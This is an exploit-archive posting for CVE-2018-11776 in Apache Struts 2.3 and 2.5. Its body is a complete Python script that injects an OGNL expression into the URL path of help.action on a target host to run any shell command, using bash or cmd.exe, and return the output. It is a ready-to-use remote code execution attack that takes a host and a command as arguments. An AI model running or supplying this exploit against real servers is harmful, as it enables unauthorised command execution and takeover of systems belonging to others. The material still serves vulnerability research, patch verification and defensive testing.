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Apache Struts 2.3 / 2.5 Remote Code Execution

Apache Struts 2.3 / 2.5 Remote Code Execution
Posted Aug 25, 2018
Authored by hook-s3c

Apache versions 2.3 up to 2.3.34 and 2.5 up to 2.5.16 remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2018-11776
MD5 | 986b43115c7195f3cd675987f7e99e5e

Apache Struts 2.3 / 2.5 Remote Code Execution

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#!/usr/bin/python
# -*- coding: utf-8 -*-

# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter

import sys
import urllib
import urllib2
import httplib


def exploit(host,cmd):
print "[Execute]: {}".format(cmd)

ognl_payload = "${"
ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
ognl_payload += "(#cmd='{}').".format(cmd)
ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
ognl_payload += "(#p.redirectErrorStream(true))."
ognl_payload += "(#process=#p.start())."
ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
ognl_payload += "(#ros.flush())"
ognl_payload += "}"

if not ":" in host:
host = "{}:8080".format(host)

# encode the payload
ognl_payload_encoded = urllib.quote_plus(ognl_payload)

# further encoding
url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))

print "[Url]: {}\n\n\n".format(url)

try:
request = urllib2.Request(url)
response = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
response = e.partial
print response


if len(sys.argv) < 3:
sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
exploit(sys.argv[1],sys.argv[2])

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